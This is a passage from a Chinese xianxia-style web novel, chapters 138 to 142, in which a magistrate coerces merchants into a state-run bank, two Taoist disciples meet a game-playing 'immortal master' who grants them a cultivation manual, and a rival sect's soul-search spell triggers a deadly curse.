突然间,他觉得自己嘴巴很干,干到他说不出一句话来,但透过方大人那双笑意不达眼底的面庞,他很快意识到,自己必须开口说些什么。 在大脑还不曾反应过来时,身体先一步重重地磕在地上。 回过神来,他早已匍匐在地,对着方知意跪拜下来。 “大人,小人绝无这心思啊,小人在本县经营钱庄许久,祖祖辈辈都在风仙县内,小人如何能离开本县?” 方知意点头,似乎是被他这说法说动了几分。 “段掌柜这是何意,请起,本官就是随便问问而已,倒是没想到段掌柜反应这般大。” 被侍卫强硬扶上座位时,段掌柜脸色难看,身子抖得像是秋天的落叶。 “小人愚笨,不知今日大人光临是为了何事?若是小人能帮上忙的,自然万死不辞。” 方知意这会是真心实意的笑了。 原先以为这钱庄的段掌柜或许要颇为难缠,但现在看来,事情比她想象中好处理。 段掌柜小心翼翼地看着眼前方县令露出的微笑,心里那根弦绷得紧紧的。 “不必紧张,本官此次前来,主要便是为了这钱庄归属一事而来。 和先前大炎朝管理模式不同,本县日后的钱庄,暂时只规划设置官家钱庄。” 段掌柜觉得嘴更干了,——啊,他一辈子打拼出来的事业,他这辈子没干过什么坏事啊,上天何故这般对待他 还不曾想完脑内所想,便听方知意慢悠悠道:“本官并非要侵占你的私产,只是观你段家钱庄做得规模足够大,不如直接改名为仙行,并入仙师旗下,这样要比本官另外开设新的钱庄来得更方便。 至于你原先的私产,你有两种选择,一是本县会多补贴你一笔钱,和你现在的资金一并存在仙行,每年会给出利息,资金可以随时提走,二是你选择投资仙行,资金近期不可提取,但每年仙行会给与你适度的分红,算作你往日经营段家钱庄的辛苦费。” 其实方知意先前调查过这段家钱庄,知晓此人并未做出什么恶劣事件,甚至还施粥过百姓后,倒也没想过将事情做的太绝。 当然,除了段掌柜人品这类私人因素外,方知意也想树立出一个新的形象,表明她本人并非完全的杀神,若是有商谈的可能性的话,她还是能心平气和的交谈的。 段掌柜楞在原地,久久不曾回神。 等等——他原先以为这方县令是打算使出强硬手段逼他放弃经营了许久的钱庄,但是谁能想到,对方竟然提出了一个对于他来说完全是天上掉馅饼的好事啊! 若是以往,有人敢这般对他说话,他定要给此人几个白眼——开什么玩笑,他费尽心思经营起来的钱庄,那是给点分红就能改名换姓的事么! 但是现在,面对方县令,对不起,他不敢蹬鼻子上脸啊! 第139章 拖人下水 虽说他没有选择吧,但是段掌柜脑内却不自觉闪过自己经营段家钱庄多年的辛苦,不由地老泪纵横。 “方大人,这这也太难为我了,若我这般做了,这岂不是日后无颜面对我祖上多年来的辛苦经营” 方知意脸上依旧带笑,虽说段掌柜没有一口气答应下来,但他态度很不错,更像是垂死挣扎一番。 于是段掌柜便听到眼前的县令大人叹息解释:“段掌柜,你想得还是太浅了。” 泪眼汪汪的段掌柜:???嗯什么? “你想想看,若我仙行一旦建立,你段家钱庄的落寞不是一定的吗?别着急否认,仙行不仅不收取保管费用,且还会给利息,你设身处地地好好思索一番,是不是我这仙行更有竞争力?” 段掌柜大脑空白了瞬间,而后楞在原地。 ——什么?不收取保管费用?而且还给利息?这如何能盈利? 脑袋来不及转过弯,很快便听眼前县令大人继续叹息道:“你想想看,到底是让你段家钱庄并入仙行来得更好,还是等开设仙行后,段家钱庄被市场淘汰来得更好一些?” 确实,确实如同县令大人所说,他眼下最好的选择便是听从县令大人的建议才是。 在双方友好沟通下,段家钱庄改名换姓,彻底变更为“仙行”。 至于改牌子的事,安排在三天后。 而至于方大人给出的两种选择,段掌柜犹豫一番后还是选择了第二个选项——将资金投入其中,然后等分红。 毕竟目前为止,他觉得自己就算离了风仙县也过不好,还不如乖乖在本县呆着,但凡仙师在的一天,那便是安全无虞的。 反正无论如何,段掌柜只能靠着这种解释来让自己心情舒服一些,但一想到自己辛苦多年的产业一夜之间变成了官家产业,心中倒是无法抑制的出现一阵苦闷,当然了,除却这些苦闷外,他更害怕出门面对别人打趣的眼神。 ——想来那些人肯定会用这件事来取笑他! 毕竟一夜之间,这段家钱庄改名为“仙行” 一时间,想到种种后果,段掌柜脸色变化万分,一会松了口气,一会又是咬牙切齿。 似乎是猜到了他的想法,方知意轻笑。 “段掌柜何必担忧,若本县只有你一人,那确实足够显眼,但若有十人,百人呢?那便是一种潮流。” 说完这话后,方知意倒是静静地看着眼前的段掌柜,一副淡然自若的模样。 “段掌柜人脉颇广,想必比我更有效率,你知道的,这事说到底是好事,本官倒是想麻烦段掌柜帮忙劝慰一番老友啊。” 说完这话,不等段掌柜反应过来,方知意早带人离开。 而等段掌柜慢慢回神,想通了县令大人点拨他的那句话后,顿时脑海一片清明。 ——他段家钱庄一人被收购算个什么事,这种好事定要速去找好友们,省得他们多日心神不宁,毕竟县令大人的耐心不常有啊。 当然,这些都是流于表面的想法,最主要的原因还是抱着拉人下水的心态,如同县令大人所说,若只有他一人,日后难免被人嘲笑,但若是大伙都这么办呢?那他段某便是投奔县令大人的第一人! 第一个吃螃蟹的人! 从被人嘲笑到敢于吃螃蟹,这翻天覆地的名气变化,任谁都无法拒绝这般诱惑吧? 想到他的时间只有三天,三天后段家钱庄便会改名为仙行,他必须要在三天内拖下足够多的商户下水才行啊! 段掌柜一扫先前萎靡,立即收拾收拾就要出去会见老友。 而很快,不等方知意去见排在名单上的众人,段掌柜那边已经开始发力了。 这些布料,香料等等掌柜没等来县令大人,倒是等来了段掌柜。 既是熟人拜访,又是这番特殊时刻,众人立即围聚,试图形成以段掌柜为核心的小集体。 香料掌柜率先开口:“段掌柜,您定是为了新律法条规而来吧?您德高望重,我们还是要仰靠您才是,这不,就等着您开口呢!” 这话说完,众人齐刷刷盯着段掌柜看去,而段掌柜则是内心苦笑连连。 ——他有个什么办法?二话没说就已经被县令大人吓怕了,主动改名了! 但这实话太难听,得换个方式才行。 于是段掌柜咳嗽一声,脸色惨白。 “不瞒各位老兄弟们,我这次来就是要谈论这事,先前我得知消息,那风仙县外不知为何,聚集了一批专门杀人越货的流匪来,我派人打听了,那些人各个凶残,若是遇到他们,我等恐怕要讨不着好处啊!” 一时间,众人脸色煞白,先前还有人想着逃跑,这会竟是身子摇摇欲坠,哀嚎一声。 “段兄,上天何故这般对待我等!呆在本县内,怕也是讨不着好,去了县外,死得更快,我等可该如何是好?” 段掌柜内心狂喜,原先还想着要不要找个托烘托一下氛围,这会谁料运气到位了,有自然水了! 虽说内心狂喜,但他依旧面色忧虑。 “诸位莫要这般绝望,今日县令大人上门来,段某拼着这条命替大伙问了日后县令大人如何处置我等,倒是有了答案。” “哦?结果如何?段兄莫要卖关子。” 在众人期待的目光中,段掌柜苦笑一声:“县令大人的意思便是,若我等主动归降,将自家产业归于官府旗下,那这事便能善了。” 众人瞪大眼睛,“什么?县令大人这不是强夺我等辛苦多年的产业么?” 段掌柜冷哼一声:“可别乱说话,县令大人不侵占我等资产,会将我等资产全都反还,这如何能叫做强夺?若让我说,虽说要求改名换姓,沦为官家产业让大伙心头不满,但对比一番,如今这选择反而是最合适的选择啊。 想想外头的流匪,再想想看县内的生活,有时候,那些虚名也不是那般重要。” 听到段掌柜颇具煽动性的言论,众人不免陷入沉思。 ——是啊,名声和这条命,孰轻孰重,很容易就能做出选择啊! 段掌柜不等他们仔细思索后反应过来他的意图,忙继续道:“诸位想想,若是原先的那些个县令,哪个不是想着法子的要从我等身上扯下一块肉来才肯罢休,现如今县令大人倒是比起先前的县令好了太多,至少我等除了本金外,还能有分红啊。” 众人心头一震,还有分红呢啊? 一时间,本来就摇摆的那颗心立即蠢蠢欲动。 但无论谁,都拉不下脸做这第一人。 段掌柜扫过众人犹豫的神色,心中暗喜,低吟一声,率先开口:“诸位不必多想,既今日这事是段某先提出来的,那段某便作为这第一人,替诸位抗下这骂名!” 众人瞪大双眼,一时间,心中竟产生了诸多冲动的感情,这会纷纷开口。 “段兄何故做到如此!或许还有别的办法呢?” 段掌柜眉头暗跳——什么办法?不要乱想啊!我都答应了方大人被收购了,一会你小子给我弄黄了看我怎么收拾你! 闭目,心平气和。 “无碍,为了大家,段某能接受这样的骂名!” “段兄!你牺牲太多了,不如由我来做这第一人!” 段掌柜眼皮子直抽搐,若不是这会还要继续演,就差直接骂了——滚啊,没眼色的东西,少打乱他的计划! 倒也有人试探,“不如我来吧” 段掌柜看清楚了此人那副犹犹豫豫的模样,立即假装感激地甩担子,“真的?” 立即吓得此人后退几步,“不不不,我觉得我还是有些冲动了,这种大事还得是您才有资格扛下来” 段掌柜不由地冷笑——就是看你不敢啊所以才找你开口的要是刚才那个愣头青,他还真不敢! 总之七嘴八舌的,说什么的都有。 但无论这些人怎么劝,段掌柜都是一副为了大伙献身的模样,他几乎是用了毕生的演技,这才没让自己绷不住笑出来。 倒是这些人暗叹一声,纷纷感慨段掌柜果然如同原先一般品德高洁。 等到最后一番讨论后,由段掌柜记录下愿意接受的人名,而后统一送给方县令。 看着段掌柜离去的落寞的身影,众人不免擦了擦眼泪。 ——段掌柜为了我们实在是牺牲太多了啊! 而此刻,好不容易上了自家马车,段掌柜紧绷着的表情总算舒展开来,要不是想着车外还有下人,这会就要仰天长笑。 可算糊弄完事了!这样一来,他便不至于那般突出了! 看了眼名单后,段掌柜又觉得既然都开始做了,这手中的人还是有些少,不如再故技重施一把,多骗几个人? 很快,不出三日,受害者名单又增加了不少。 等到段掌柜将这份写满了人名的单子交给方知意时,就连方知意也不免微楞,等看清楚这份长度惊人的名单后,她不免真心实意地感慨。 “段掌柜好手段,本官自愧不如啊。” 其实段掌柜一开始的确是抱着拖人下水的摆烂心态去做的,但越往后,他便生出了一阵莫名其妙的爽感,——若非要形容的话,那便是人在做坏事时是最不怕麻烦的,且这件事的底层逻辑其实并不算坏事,只是听着不好听而已。 等段掌柜离开后,隐藏在屏风后面的赵金构则是忍不住微微眯起眼睛,唇边带着笑。 ——方大人好手段,四两拨千斤,竟让这些人狗咬狗,反倒是快速完成了这冗长复杂的收购事项啊! 第140章 见面 先前他就和方大人曾讨论过此事,当时他虽不曾明说,但总归觉得此事要实施下来或许颇要费心思。 毕竟这些商户若是拧成一股绳,那也足够令人头疼了。 而现在,方大人竟是不费吹灰之力,仅用了三天,便将此事解决得差不多了。 这点让赵金构震撼之余不免对方大人的心黑程度再次有了更深刻的了解 而风仙县内,原先早就惶恐不已的一部分人群则是注意到了段掌柜一行人的动作,不免想看看他们到底在搞什么幺蛾子。 很快,三天时间一晃而过,等那段家钱庄被改名为“仙行”时,不少人均是呆愣在原地。 等到看清楚上面贴着的告示后,一众人不免震撼出声。 “什么?段家钱庄被官府收购了,日后这钱庄改名为仙行,存钱不仅不需要给保管费,还会额外给付利息?” 这人认字速度最快,等到念出来这话时,围观群众不免震撼。 “李二白,你看错字了吧!这钱庄不仅不收费,谁存钱还给利息,这不是痴人说梦嘛!” “是啊,谁家做生意这么做的,你肯定看错了!” 李二白顿时恼了,“不信你们自己看,这白纸黑字写得清楚,难不成我能胡说?!” 众人凑过去仔细去看,果然就看到这写的东西如他所说。 “这这怎地这般荒谬?!莫不会是个骗局?” “不可能,你们看,这右下角盖的章是官府的!” 仔细去看,那官府的印章做不得假,众人更是迷惑得面面相觑。 “这到底是怎么回事?” 其实不仅仅是普通老百姓迷惑,那些个等着看段掌柜笑话的人也呆愣在原地。 ——等等,这怎么和他们想象中的场景不太一样啊??? 一个钱庄不收保管费,还额外给存钱人利息,这都什么骚操作? 也有人蹙眉,随即像是想到了什么。 “等会儿,难不成说仙行打算开启借贷业务?” 立即有人否定他。 “不会吧,这借贷生意不是向来只有寺庙才有吗?” 这话刚说完,双方都察觉到了不妥。 ——什么寺庙不寺庙的,本县自仙师来了后,什么鬼神佛道都得靠边站,更别提原先在本地颇为有名的寺庙借贷生意了。 众人猜测纷纷,而那紧跟在段家钱庄改名为仙行后的便是往日一些熟悉的店铺。 这些店铺像是雨后春笋一般破土而出,各个改名换姓,重新复出。 除了钱庄是方知意必须要拿到手里的东西外,其余商铺的重要性其实并没有那么高,但无论如何,在目前动乱的情况下,最好还是将主动权握在手里才是。 且只有说内部有官府插了一脚,市场定价才会更为平稳,而不会出现剧烈波动。 况且这些人主动投诚,也能安稳治安。 既然好处多过于弊端,方知意自然全盘收下。 等到其余人听闻这些率先投奔的人竟然不曾被没收家产后,顿时红了眼,争抢着也想去和方大人谈谈。 ——毕竟能在风仙县混下去,谁又愿意跋山涉水,去外地活命呢? 但当这些人求到方知意面前时,倒是意外吃了几次闭门羹,越往后,越是心慌意乱时,方知意这才召见了他们。 等听清楚这些人的来意后,方知意不免脸上带笑,只是熟悉她的人便知晓,她这层笑意很淡,不达眼底。 “将诸位的家产全盘归还?这话是诸位从哪儿听来的?” 本以为方大人会说点别的,岂料一开口就是王炸,炸得前来试图讨价还价的众人大脑一片空白。 这会看着方知意那张脸庞笑意淡漠后,再傻的人也察觉到了方大人的不满。 忙跪在原地不敢动弹,但嘴上依旧要给她递梯子。 “大人恕罪,我等只是听先前那一批次的商户这般说了,这才抱了不该有的想法!还请方大人勿怪罪我等啊!” 模样真切,惹得方知意冷笑不已。 她不曾开口说话,倒是身旁有人翻阅一本日志,上面竟记录着这些人以往所做所行。 其内容说不上是大罪,但也算小罪,等这些人各个看清楚上面所写后,难免身形晃荡,两股战战,脊背塌了又塌。 这会便听方知意慢慢悠悠道:“先前商户本官都有调查过,不曾作恶,且念其主动寻求官府收购,所以这才有此待遇。” 后半句话没说,但在场的人都心里一凉,难免后悔自己今日为何要鬼迷心窍上门,——这不是正好落了圈套,省得方县令去抓他们? 有人在懊恼,有人却在思索方知意的真实用意。 若是只想说这些话,她何必等他们过来再说? 且想来方大人并不想下死手,不然早就凭借着这些东西给他们定了罪。 一时间,万千思绪在脑内闪过,终于有人找到了最为关键的突破口,忙垂头表示自己愿意听从方大人安排,愿意用全部家产来帮助本县发展。 等了半天,总算是有人接话了,方知意心情不错。 “全部家产太难为诸位了啊” 众人咬着牙,连忙摇头。 “怎么会呢,方大人,我们就想替大人分忧解难啊。” 话这么说,其实心里开始肉疼。 “诸位有这心思就好,按道理本官不该收下才是,但眼下本县为了民生发展确实消耗了不少银两,这些钱先算县内借的,日后必有归还。” 话说到这里,众人欲哭无泪——这哪里是借钱,这分明和抢钱没有区别了啊!但还不敢说,只能点头同意。 等到一群人可怜兮兮的站在官府门外,这会被冷风一吹,脑袋和炸了一样。 完犊子,本来这次他们聚集起来,是想凭借先前那些商户替自己也拿到一个不错的结果,但谁能想到,最后竟然要损失这么多钱 一时间,众人均是肉疼不已,但这会说什么都晚了,毕竟他们刚才已经将银两全部交了上去。 这会只能劝自己想开点,——这不好歹产业还在么。 只要产业还在,大不了就是用先前积累的银两来换个心安,这么一想,倒也还算勉强能够接受 ——怎么可能能轻易接受啊!那些人根本没花钱,他们凭什么就要花这么多钱才能摆平这事? 但是闹是不敢闹的,毕竟真闹起来,他们也不占理啊。 这会自然灰溜溜的回家。 这消息很快便被段掌柜一行人知晓,等听了方大人的手段后,这些人不免暗自心惊。 而后便是庆幸——幸亏当时跟着段掌柜主动投奔县令大人了,不然现在要倒霉的也是他们啊? 很快,段掌柜便发现自己身边多出了数份略带敬佩和感激的目光。 不明所以的段掌柜:???不知道这群人发什么神经。 而方知意此刻则是看着这群人送来的银两,沉思不已。 与此同时,杜百收到了县令大人的邀约。 虽说不知道县令大人找她一个商人有何事,但既然县令大人找她,那她必须要去。 收拾一番,很快,她便坐着官府派来的马车,直奔县衙而去。 斗坡村,酒厂。 仇朗这几天像是做贼一样,处处躲着小师弟,试图离自家小师弟远远的,生怕小师弟过来喊他求见仙师。 自他上次将小师弟忽悠下山替自己制作蒸馏器后,其实他一直有些心慌,——虽说忽悠小师弟做好了能见仙师一面,但后来据他所知,仙师忙碌,哪有时间见面,平时大都是纯在脑内用仙法沟通。 上次蒸馏器做好后,仇朗本来还考虑该怎么敷衍一下小师弟,结果没想到他竟然被那沼气池设计吸引得主动下山,一走就是一个多月,倒也让他忘了先前答应小师弟之事。 在仇朗看来,那制作沼气池定为费劲,哪能那么快就能做好啊,就算师弟是天才,那也不该那么快吧? 按道理是这样的。 但仅仅在一个月后他便再次看到了小师弟,说不绝望是假的。 本来还抱着说不定小师弟是受挫了回家寻找安慰,结果还没等他开口询问,便听小师弟慢悠悠道:“师兄,那沼气池我已经给处置完毕,再加上上次的蒸馏器,我应当有资格面见仙师了?”??? 不是,你自己听听你这话合理吗?谁家好人一个来月就能做出这么了不得的事啊! 仇朗表情有些微崩,但依旧淡定地找了个借口敷衍过去。 好在仇离不曾多想,他静静地回了屋内,等待自家师兄所说的时机。 只不过敷衍一次,两次还好,等到第三次时,看到师弟一脸阴沉的模样,仇朗绷不住了。 颤抖着决定联络一下脑内的仙师,这会不由地艰辛落泪。 ——太难了,喝酒害人啊,若不是当初他非要坑害小师弟一把,如何能落得个如今惨烈的地步? 这会后悔已经来不及了,只能在脑内呼唤仙师,试图给自家小师弟创造一个和仙师见面的机会。 而此时此刻,姜定的屏幕上弹跳出来新的提示。 【你的酒厂管理工人向你发出新消息。】 是否接受?? 姜定好奇点开,在看清楚其内容后不由地有些心情激动。 这个叫仇朗的道士竟然还给他介绍了一个新人? 虽然说激动吧,但是他现在手下工人数量不少,这会除了稀有人物能引起他的注意,别的工人倒不至于让他失态。 漫不经心地看看属性,下一秒,姜定瞪大双眼——嗯???新的紫卡人物? 【是否选择和仇离见面?】?什么鬼,他要是连紫卡都不见一面,岂不是太猖狂了? 见,必须见!《 》 140-150 第141章 赞服 在他选择和紫卡人物见面后,那选项顿时化作金光消散在空气中,而与此同时,仇朗瞪大眼睛,似乎是不敢相信自己脑内仙师的回答。 啊?同意了?仙师竟然同意和小师弟见面? 等等,他要不要也趁机沾点便宜,一起去见见仙师? 虽说脑内还处于巨大的震惊状态,但这种好事,仇朗自认为他必须去。 ——去!怎么不去?万一仙师给小师弟传授一些新的东西呢?到时候他作为师兄却不知道该有多冒昧啊! 等那仿若寒泉一般的声响彻底消失不见后,仇朗这会都顾不得淡定,忙去找自家小师弟。 此刻仇离正在潜心修炼,先前研究沼气池确实浪费了他一些时间,但这牺牲是值得的,一来是满足他自身所渴求,二来则是可以为见到仙师做个铺垫。 只是这几天看师兄一提起此事便是一副心不在蔫的模样,难道师兄先前那些话都是骗他的? 仇离微蹙眉头,那张美得雌雄难辨的面庞不□□露出片刻思索之色。 ——不会的,师兄虽说素日不靠谱,但他应当不会在这种大事上故意骗他才是,想来应该是最近仙师忙碌,师兄没办法才暂时找的借口过来敷衍他,目的就是为了掩饰他的尴尬。 这么一想,他心中就舒服了一些。 没关系,仙师忙,他可以等,索性他下山后该训练的,该练习的还是一样练,所以并不碍事,只需要等好消息即可。 毕竟这事非同小可,他可能和那位仙人见面的,多等一段时间也很合理。 正当他闭目打算继续推演八卦时,便听门外传来师兄欢快的声音。 仇离顿时睁开眼,瞬间起身。 ——看来是有好消息了。 果然,是喊他上山去见仙师。 先前那阵淡定的心脏,此刻也忍不住微微跳动,仇离面色虽说没有太大变化,但依旧忍不住整理了一番衣物。 熟悉他的人都知道,这是他紧张的表现。 仇朗忍不住调侃。 “小师弟,你快点的,好像那个等着嫁人的小娘子。” 仇离整理衣物的手顿了一下,默默放下。 然后用他那双素日看人淡淡的眼神流露出不赞同的意思。 仇朗: “不是,我想说,仙师已经给我们开了门,一直让他等着不好吧?” 仇朗抽空吐槽,示意小师弟跟上。 倒是仇离瞥了他一眼,直奔那光门而去。 “师兄为何不早说?” 他的步伐很快,没几个呼吸便将仇朗甩在身后。 这会只能看着师弟背影的仇朗恨不得仰天长啸——他是没说嘛!不是他一直在神游? 但现在不是说这些的时候,二人钻入那光门内,随即放慢速度。 仇离是第一次进入这光门内,等到进入后,感受着天地法则的涌动,心头不免生出一阵震撼之色。 “之前我一直以为古书上所说穿越空间是无稽之谈,现在看来,还是我修炼不到位。” 仇朗那张素日俊朗的面庞扯出一抹惊恐。 “这已经不是修炼不修炼的问题了吧,我们永道宫哪有这么逆天的功法啊!” 仇离走得速度不慢,但一路倒是忍不住观察仙师此等手段到底是如何做到的,对于师兄的吐槽,他也就当没听见,但想想后还是做了回答。 “其实是有的,但应该是残本?” 仇朗顿时怀疑人生——等等,他连残本都没看到过,难道这就是区别对待吗? 没等他想太久,二人已经穿越光门,来到了山顶。 看着眼前那所明显破败的房屋,二人齐刷刷陷入沉默。 不是,仙师住的地方多少有些简朴过头了吧? 正怀疑自己有没有走错路时,便听一旁传来那熟悉的声音。 “你们来了。” 这一瞬间,仇离心头猛跳,抬头去看,便看到一身穿青色衣袍,美得似乎不存在一样的人就静静地坐在竹林内的一石柱上。 位置距离他们不远,但二人始终没能回神。 那淡青色的衣袍随着风缓缓飘动,带来一股混合着冰凉的水气和竹叶掺杂着的味道,这味道带着淡淡的清冷,倒是抚平了他猛跳的心脏。 再细细看过去,便看到来人背后游龙缓缓游动,多了几分威严之态,让人不敢轻举妄动。 说实话,两人都楞在了原地。 仇朗先前见过仙人真面目,但当时全身心忙着对战,虽说脑子记住了仙人模样确实仙姿缥缈,但却不如今日有空细细观摩一番来得震撼。 仇离就更不用说了,先前他不过是隔得很远看到过仙人动手,当时只是被对方神出鬼没的操作以及那飘逸姿态所折服,但这么近距离的会见仙人,这是第一次。 但不得不说,这等近距离的见面,这铺天盖地的美貌对人来说实在是一种冲击,仇离自觉自己不是那种看脸的肤浅人物,但在看到仙人的第一眼,整个大脑却空白一片,先前万千思绪顿时消散,此刻只能瞪大眼睛,看着眼前之人。 仙人一动不动,只是面庞带了些许微笑。 “你便是仇离?找我何事?” 听他说话仿佛世间最享受的活动,仇离只觉得自己脑内仿若有冰凉的水流缓缓流淌,冲刷掉他因震撼而占据大脑的惊诧,随着这声音,他倒是回过神来。 “仙师,晚辈便是仇离,从小晚辈便想看看那古书内所写的仙人,想跟随仙人学习那等术法,先前您在风仙县一战,晚辈甚是心生向往,还望仙师能收下晚辈,允许晚辈学习一二仙术!” 仇离单膝下跪,头微微垂着,呼吸却忍不住急促起来,而仇朗这会也忙跟着跪下,虽说内心搞不懂小师弟竟然会说出这些话来,但身体反应要远快于头脑所想。 “仇离,你很好,先前你落实的两物确实令我惊讶,不过既然你想学习术法,这倒也不是难事。” 不等二人反应过来,仇离便看到自己眼前竟然缓缓出现一本书籍。 这书籍等到彻底凝聚成为实物后,封面赫然写的是《青梧引》。 “这” 不等仇离询问,便听那仙人淡淡道:“不过是一门能够将天地之气引入身体的功法而已。” 仇离不由瞪大双眼。 ——竟是能够引气入体的功法!先前他倒是在古书中看过,原先修仙时代,那些仙人修炼的第一步便是引气入体,但后来这门重要性的功法却早就消失不见,现在倒是没想到,竟然就这么轻飘飘的出现了。 仇朗也是思绪万千,这等功法,不说他们永道宫没有,就算那景旭宫也不曾有! 二人还沉浸在剧烈震撼中,边听仙人声音仿若环绕在身旁。 “此世灵气过于稀少,就算有此等功法,修炼到头也不过能活到二百而已,但修炼此法确实能带来诸多好处,你可自行感受。” 听到修炼这功法能活到两百岁时,两个人均是楞在原地,良久后呼吸急促。 仇离倒是对活得久没太多想法,他不是贪生怕死之辈,但活得久意味着他能有更多时间去探索他此生所渴求之事,这便是一个优势,且听仙师话语中意思,这仙法定有其他他们不曾了解的好处,看来必须要自行修炼才能感受到才是。 而仇朗想得就是,这功法必须要让宫内全员学习啊,毕竟一个人活得时间久不算什么,但一群人呢?只要活得久,别说景旭宫,说不定以后他们永道宫才是正统道宫! 压抑中心头急促的渴求,二人继续听着仙师解惑。 “不过,要想学习此仙法,有两个要求,一是必须要有术法基础,不然肉身会被摧毁,二是必须要拜入我门下才是。 倒不是我强行要求,而是拜入我门下,天地运行的法则才会开始亲近你们。 我想我解释的差不多了,你们还有想问的问题?” 本以为仙人会高傲,二人甚至都做好了对方高冷的准备了,结果倒是没想到,仙师竟然如此平易近人。 不过何为拜入门下? 难不成要求他们潜心归顺才算拜入? 仇离抬头去看那石柱上淡定而坐的仙人,内心逐渐生出一阵阵野望,他注视着仙人,真心实意地想拜入其门下。 本来应该要问的,但当仇离内心深处像是注入一股难以言喻的温暖感时,他便知晓,自己这是被仙人接纳了。 抬头,和对方那凝聚的笑意对视后,仇离不免心头巨震。 “看来你已经成功了,如此便能学习这术法了,至于你的任务,便听从方大人的委托即可。” 说完这话后,仙人身影顿时消散,竹林被风吹得沙沙作响,仿若从未有人来过。 仇朗随后也有了和师弟一样的异常感触,等确实二人感觉一致后,两人做出了同样的选择。 ——得联络宫内的师祖前来!毕竟这可是大事,若以后能凭借着这《青梧引》超越别的道宫,那他们二人此行便不算没有收获。 除了联络师祖,师叔也得联络上。 于是两人分开操作,仇离负责联系师祖,而仇朗则是去联络师叔。 很快,知晓了此消息的师祖脸色变幻莫测。 ——竟然真有仙人?还给了这般机缘? 先前他们永道宫正和那景旭宫发生了冲突,论宫内底蕴,他们永道宫自然是不如受一国之力扶持的景旭宫,正打算暂避风头时,没想到竟然能收到这样的好消息。 当机立断,他立即决定带上两位宫内大能,前去那潜灵山去拜见仙人。 若是真能得此机缘,他们全宫日后便彻底归于那仙人旗下! 而与此同时,景旭宫负责监视着永道宫的线人传来消息,有三人离开宫内,前往那明州方向而去。 作者有话说: 看到有读者宝宝问刮刮乐,那个剧情作者君没有忘记,只是剧情还没推进到那里,还请耐心等待 第142章 追杀 自从上次前去风仙县一战彻底败北后,景旭宫内是换着法子想从先前经过一战的邱老口中询问一二战斗细节。 但很可惜,邱老仿佛记忆受损,无论如何询问,都只会说那风仙县危险无比,千万不要过去。 若是继续询问的话,就会触碰到邱老记忆中的防御机制,别说那句充满警告意味的话语,竟是连一句话都不肯再说。 全宫上下,对这情况还是第一次见到。 确认邱老是真正忘记这记忆后,景旭宫的长老们便想着要不要用古法去窥探邱老脑内记忆? 这门法术叫做搜魂术,很适合这种情况,只不过此等术法他们学得不精细,若是到时候没能搜出来东西,反而将邱老给搜成了白痴,他们岂不是赔了夫人又折兵? 所以这一事便被搁置下来。 而这次当线人注意到死对头永道宫派遣三人前往那明州地界时,不知为何,掌管景旭宫的大长老们心头逐渐不安起来。 冥冥中有种感觉,此事兹大。 于是很快,邱老搜魂一事再次提上行程。 最后在几乎是全票通过的情况下,宫内的池大长老负责给邱老搜魂。 等到他紧闭双眼,试图将术法作用到邱老身上时,便隐约察觉到一抹不对劲。 但这不对劲的感觉实在是过得太快,几乎没等他抓住这小小的异常,搜魂术法已经率先用在了邱老身上。 邱老猛烈得颤抖身体,似乎不能承受这等剧烈痛楚,他原本就虚弱的身体,现在看上去更虚弱了几分。 除却负责搜魂的池长老以外,其余人则是一动不动地盯着这场面。 先前宫内就是否对邱老实施搜魂这一事讨论过,迟迟没搜魂的原因不过是因为他算作宫内相当靠前的战斗力。 但自从上次在风仙县一战失败后,邱老仓惶逃回,不仅不能说出当日发生了什么,身体也迟迟不见好,景旭宫内自然是养不了闲人的。 一个没有价值的废人,没有必要浪费银两给他续命。 不过倒是可以趁着他活着的时候,将那日记忆抽丝剥茧呈现出来,也算能和最近给他治疗所花费的银两和草药抵平了。 既然宫内上下都同意,很快搜魂一事就定了下来,现在屋内挤满了想知晓那日到底发生了什么的人,而非真心实意过来看望邱老的人。 邱老躺在床上,意识昏迷,感觉脑内被什么东西猛烈地挤了进去,而后便是一股深入骨髓的疼痛。 这股力量强迫着他想起那一日所见所闻,似乎要从他脑袋内将那日记忆抠出来,再粗暴地展开呈现。 但冥冥中,邱老却深觉这行为很冒险,他必须阻止此行为! 和脑内这股意识抵抗了一刻钟,最终在另一道术法的加持下,他无奈败下阵来。 随着脑内逐渐清明,邱老似乎察觉到了那日所发生的一切 那漫天剑雨,那个招式名为 想到这里时,他大脑突然震撼,而后那惨白的脸色几乎瞬间浮现出一抹极大的恐惧。 这会竟是忍着痛苦嘶吼出声:“别看!” 负责搜魂的池长老冷哼一声,再次往他身上贴了一层加持术法的符咒。 果然,邱老僵硬下来,不再动弹了。 那绝望的,仿若能撕破人心的惨叫声不再继续从喉咙溢出,而此刻,池长老脸上也逐渐浮现出一抹兴奋之色。 他在看清楚那记忆中的画面时,内心不免激动万分—— 看到了,那日竟然有真仙降临,且动用了形意真法?!不好! 先前还在悠闲搜魂的池长老,那淡定表情不再,反而瞪大眼睛,立即撤回了搜魂术法,但此刻已经是来不及了! 原本那形意真法会杀死任何一个心有恶意之人,先前邱老没死不过是因为他在反应过来自己无法控制恶意后,索性对此段记忆进行了封锁,既不知晓这段记忆,那便算不得知晓形意真法,便也不会丧命。 等他逃回宫内,虽说不知晓这段过往,但脑内潜意识却时刻谨记着这一致命危险,所以这便是他为何迟迟不肯开口的原因。 若他们不曾用搜魂术法还好,这形意真法便不会顺着邱老的脑内追杀而来,但坏就坏在他们动用了搜魂术,而池长老当时确实将意识投入那邱老身上查看当日发生之事。 仅仅是这一个窥探的动作,便被这术法认为是带有恶意。 几乎在反应过来那是形意真法后,池长老立即将意识从邱老脑内收回,但已经来不及,那等真仙级别的术法像是跗骨之蛆,只要一旦注视到,便无法避免。 片刻间,池长老似乎能看到漫天剑雨重现,那空中漂浮着的青衣真仙,面目温和,缓缓地,一字一顿地喊出那句震撼四野的招式名称。 “满堂花” 等等,不能让这他说完这话,不然自己必死无疑! 池长老脑门满是冷汗,一时间,他脑内闪过数个术法,但最终竟绝望地发现,自己也只能选择和邱老同样的做法! 那便是封锁自身记忆! 但如此一来,便无人能知晓那日到底具体发生了什么,他今日辛苦竟然是要白费了! 眼内闪过一丝纠结,脑内那如同寒泉流淌的声线继续回荡。 “醉三千客” 不——必须这么做,不然来不及了! 几乎是用上自己毕生的力气,池长老紧闭双眼,双手快速写下一堆堆术法。 而看懂的人则是早就变了脸色。 “池长老——这不是遗忘咒术?!” 话音刚落,众人视线便紧紧地黏在紧闭双目的池长老身上,其中,另一宫长老则是蹙眉询问:“池长老,你这是何意啊?” 他似乎想上前询问一二,却见池长老双目紧闭,紧咬牙关,浑身冷汗直流 而此时此刻,池长老内心早已胆寒不已。 